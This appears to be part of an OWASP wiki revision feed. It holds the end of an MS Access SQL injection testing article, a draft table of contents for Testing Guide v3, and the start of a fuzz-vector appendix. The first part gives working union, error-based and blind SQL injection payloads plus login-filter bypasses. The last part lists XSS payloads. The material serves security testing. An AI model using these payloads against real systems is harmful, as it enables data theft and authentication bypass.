In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
MSysObjects&lt;br /&gt;
MSysACEs&lt;br /&gt;
MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
LEN: Return the length of the string passed as parameter&lt;br /&gt;
IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
MID: This function permits to extract substring, for example the following statement mid('abc',1,1)&lt;br /&gt;
return 'a'&lt;br /&gt;
TOP: This function permits to specify the maximum number of results that the query should return from the top. For example&lt;br /&gt;
TOP 1 will return only 1 row.&lt;br /&gt;
LAST: This function is used to select only the last row of a set of rows. For example the following query&lt;br /&gt;
SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/index.asp?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/index.asp?id=IIF((select%20mid(last(username),1,1)%20&lt;br /&gt;
from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/index.asp?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
1. We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
2. We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/index.asp?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v3_Table_of_Contents&amp;diff=36687</id>
		<title>OWASP Testing Guide v3 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v3_Table_of_Contents&amp;diff=36687"/>
				<updated>2008-08-20T13:34:34Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&lt;br /&gt;
This is the draft of table of content of the New Testing Guide.&lt;br /&gt;
You can download the stable version [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip here] or read it on line [http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents here]&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
 Testing Guide v3 (draft)&lt;br /&gt;
 Updated: 20th August 2008&lt;br /&gt;
 (new)--&amp;gt; new articles, (toimp)--&amp;gt; needs to improve or to review, (xxx%) --&amp;gt; current state of the article&lt;br /&gt;
&lt;br /&gt;
'''T A B L E    o f    C O N T E N T S'''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|(toimp)Foreword by OWASP Chair]]==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |(toimp: M.Meucci)1. Frontispiece]]==&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|(toimp: M.Meucci)1.1 About the OWASP Testing Guide Project]]'''&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
(new: M. Morana 90%) 2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
(new: M. Morana 100%) 2.4.1 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Tests_Integrated_in_Developers_and_Testers_Workflow Security tests integrated in developers and testers workflows]&lt;br /&gt;
&lt;br /&gt;
(new: M. Morana 100%) 2.4.2 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Developers.27_Security_Tests Developers' security tests: unit tests and component level tests]&lt;br /&gt;
&lt;br /&gt;
(new: M. Morana 90%) 2.4.3 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_Testers.27_Security_Tests Functional testers' security tests: integrated system tests, tests in UAT, and production environment]&lt;br /&gt;
&lt;br /&gt;
(new: M. Morana 100%) 2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. (M.Meucci) Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| (new: M.Meucci - 90% ) 4.1.1 Testing Checklist]]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Information Gathering|'''(toimp: B.Damele) 4.2 Information Gathering''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders Robots and Crawlers|(new:C.Heinrich - 0%)4.2.1 Spiders, Robots and Crawlers]]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery|(new:C.Heinrich - 0%)4.2.2 Search Engine Discovery/Reconnaissance]]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points| (new: K.Horvath - 100%) 4.2.3 Identify application entry points]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application Fingerprint|4.2.4 Testing for Web Application Fingerprint]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery|4.2.5 Application Discovery]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Code|4.2.6 Analysis of Error Codes]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|''' (new) 4.3 Configuration Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSL-TLS| 4.3.1 SSL/TLS Testing (SSL Version, Alghoritms, Key lenght, Digital Cert. Validity]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for DB Listener|4.3.2 DB Listener Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management| (new) 4.3.3 Infrastructure Configuration Management Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management|4.3.4 Application Configuration Management Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling|4.3.5 Testing for File Extensions Handling]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for old_file|4.3.6 Old, Backup and Unreferenced Files]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces|(new) 4.3.7 Infrastructure and Application Admin Interfaces]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST| 4.3.8 Testing for HTTP Methods and XST]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic|'''(K.Horvath - 100%) 4.4 Business Logic Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''(M.Meucci - 100%) 4.5 Authentication Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for credentials transport|(new: G.Ingrosso - 100%) 4.5.1 Credentials transport over an encrypted channel]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for user enumeration|(new: M.Meucci, M.Mella - 90%) 4.5.2 Testing for user enumeration]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Default or Guessable User Account|(to imp: K.Horvath - 100%) 4.5.3 Testing for Guessable (Dictionary) User Account]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Brute Force|4.5.4 Brute Force Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema|4.5.5 Testing for bypassing authentication schema]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password and Pwd Reset|4.5.6 Testing for vulnerable remember &lt;br /&gt;
password and pwd reset]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Logout and Browser Cache Management|4.5.7 Testing for Logout and Browser Cache Management Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Captcha|(new: P.Luptak - 100% ) 4.5.8 Testing for CAPTCHA]]&lt;br /&gt;
&lt;br /&gt;
[[Testing Multiple Factors Authentication| (new: G.Fedon) 4.5.9 Testing Multiple Factors Authentication]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''(new: M.Meucci - 90%) 4.6 Authorization testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal|(new) 4.6.1 Testing for path traversal]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema|(new: M.Meucci - 80%)4.6.2 Testing for bypassing authorization schema]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation|(new: Cecil Su, M.Meucci - 90%)4.6.3 Testing for Privilege Escalation]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.7 Session Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema|(new: M.Meucci) 4.7.1 Testing for Session Management Schema]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes| (new: K.Horvath - 100%) 4.7.2 Testing for Cookies attributes]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation| (new: M.Meucci) 4.7.3 Testing for Session Fixation]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables|4.7.4 Testing for Exposed Session Variables ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF|4.7.5 Testing for CSRF]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Exploit|(to imp: HTTP Verb) 4.7.6 Testing for HTTP Exploit ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting|(new: A. Coronel)4.8.1 Testing for Reflected Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting|(new: R. Suggi Liverani - 100%)4.8.2 Testing for Stored Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for DOM-based Cross site scripting|(new: A.Agarwwal, Kuza55) 4.8.3 Testing for DOM based Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cross site flashing|(new: A.Agarwwal)4.8.4 Testing for Cross Site Flashing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection| (toimp: B.Damele) 4.8.5 Testing for SQL Injection ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.5.1 Oracle Testing ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.5.2 MySQL Testing ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.5.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access|4.8.5.4 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.4 (new: D.Bellucci 100% from OWASP BSP) Testing PostgreSQL]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection|4.8.6 Testing for LDAP Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection|4.8.7 Testing for ORM Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection|4.8.8 Testing for XML Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection|4.8.9 Testing for SSI Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection|4.8.10 Testing for XPath Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection|4.8.11 IMAP/SMTP Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection|4.8.12 Testing for Code Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection|4.8.13 Testing for Command Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow|4.8.14 Testing for Buffer overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.14.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.14.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.14.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability|4.8.15 Testing for incubated vulnerabilities]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Denial of Service|'''4.9 Testing for Denial of Service''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Wildcard Attacks|(new: F.Mavituna - 100%) 4.9.1 Testing for SQL Wildcard Attacks]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for DoS Locking Customer Accounts|4.9.2 Testing for DoS Locking Customer Accounts]]	&lt;br /&gt;
&lt;br /&gt;
[[Testing for DoS Buffer Overflows|4.9.3 Testing for DoS Buffer Overflows]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for DoS User Specified Object Allocation|4.9.4 Testing for DoS User Specified Object Allocation]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for User Input as a Loop Counter|4.9.5 Testing for User Input as a Loop Counter]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Writing User Provided Data to Disk|4.9.6 Testing for Writing User Provided Data to Disk]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for DoS Failure to Release Resources|4.9.7 Testing for DoS Failure to Release Resources]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Storing too Much Data in Session|4.9.8 Testing for Storing too Much Data in Session]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Services|(toimp: D.Wichers) '''4.10 Web Services Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Structural|4.10.1 XML Structural Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Content-Level|4.10.2 XML Content-level Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for WS HTTP GET parameters/REST attacks|4.10.3 HTTP GET parameters/REST Testing ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Naughty SOAP Attachments|4.10.4 Testing for Naughty SOAP attachments]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for WS Replay|4.10.5 WS Replay Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Client-Side Testing|(new: Pdp, O.Segal, S. Di Paola) '''4.11 Client side testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for AJAX|(new) 4.11.1 AJAX Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Flash Testing|(new)4.11.2 Flash Testing]]&lt;br /&gt;
&lt;br /&gt;
[[RIA Testing|(new)4.11.3 RIA Testing]]&lt;br /&gt;
&lt;br /&gt;
==[[Writing Reports: value the real risk |(toimp: Mat)5. Writing Reports: value the real risk ]]==&lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]]&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]]&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools&lt;br /&gt;
* Source Code Analyzers&lt;br /&gt;
* Other Tools&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers&lt;br /&gt;
* Books&lt;br /&gt;
* Useful Websites&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==&lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories&lt;br /&gt;
** Recursive fuzzing&lt;br /&gt;
** Replasive fuzzing&lt;br /&gt;
* Cross Site Scripting (XSS)&lt;br /&gt;
* Buffer Overflows and Format String Errors&lt;br /&gt;
** Buffer Overflows (BFO)&lt;br /&gt;
** Format String Errors (FSE)&lt;br /&gt;
** Integer Overflows (INT)&lt;br /&gt;
* SQL Injection&lt;br /&gt;
** Passive SQL Injection (SQP)&lt;br /&gt;
** Active SQL Injection (SQI)&lt;br /&gt;
* LDAP Injection&lt;br /&gt;
* XPATH Injection&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | (new: Harish S.)Appendix D: Encoded Injection]]==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors&amp;diff=14262</id>
		<title>OWASP Testing Guide Appendix C: Fuzz Vectors</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors&amp;diff=14262"/>
				<updated>2006-12-12T21:31:11Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following are fuzzing vectors which can be used with [[WebScarab]], [[JBroFuzz]], [[WSFuzzer]], or another fuzzer.&lt;br /&gt;
Fuzzing is the &amp;quot;kitchen sink&amp;quot; approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing.&lt;br /&gt;
This is the simple part of the discovery phase.&lt;br /&gt;
Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.&lt;br /&gt;
&lt;br /&gt;
=== Fuzz Categories ===&lt;br /&gt;
&lt;br /&gt;
In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:&lt;br /&gt;
&lt;br /&gt;
* Recursive fuzzing&lt;br /&gt;
* Replacive fuzzing&lt;br /&gt;
&lt;br /&gt;
We examine and define each category in the sub-sections that follow. &lt;br /&gt;
&lt;br /&gt;
==== Recursive fuzzing ====&lt;br /&gt;
&lt;br /&gt;
Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/8302fa3b&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selecting &amp;quot;8302fa3b&amp;quot; as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/00000000&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;...&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/11000fff&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;...&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/ffffffff&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Replacive fuzzing ====&lt;br /&gt;
&lt;br /&gt;
Replacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/8302fa3b&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/&amp;gt;&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&amp;amp;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;http://www.example.com/'';!--&amp;quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a form of replacive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified. &lt;br /&gt;
&lt;br /&gt;
The remainder of this appendix presents a number of fuzz vector categories.&lt;br /&gt;
&lt;br /&gt;
=== Cross Site Scripting (XSS) ===&lt;br /&gt;
&lt;br /&gt;
For details on XSS: [[Cross_site_scripting_AoC]]&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;gt;&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&amp;amp;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;quot;&amp;gt;&amp;lt;STYLE&amp;gt;@import&amp;quot;javascript:alert('XSS')&amp;quot;;&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;gt;&amp;quot;'&amp;gt;&amp;lt;img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;&lt;br /&gt;
 alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;gt;%22%27&amp;gt;&amp;lt;img%20src%3d%22javascript:alert(%27%20XSS%27)%22&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;gt;&amp;quot;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'';!--&amp;quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
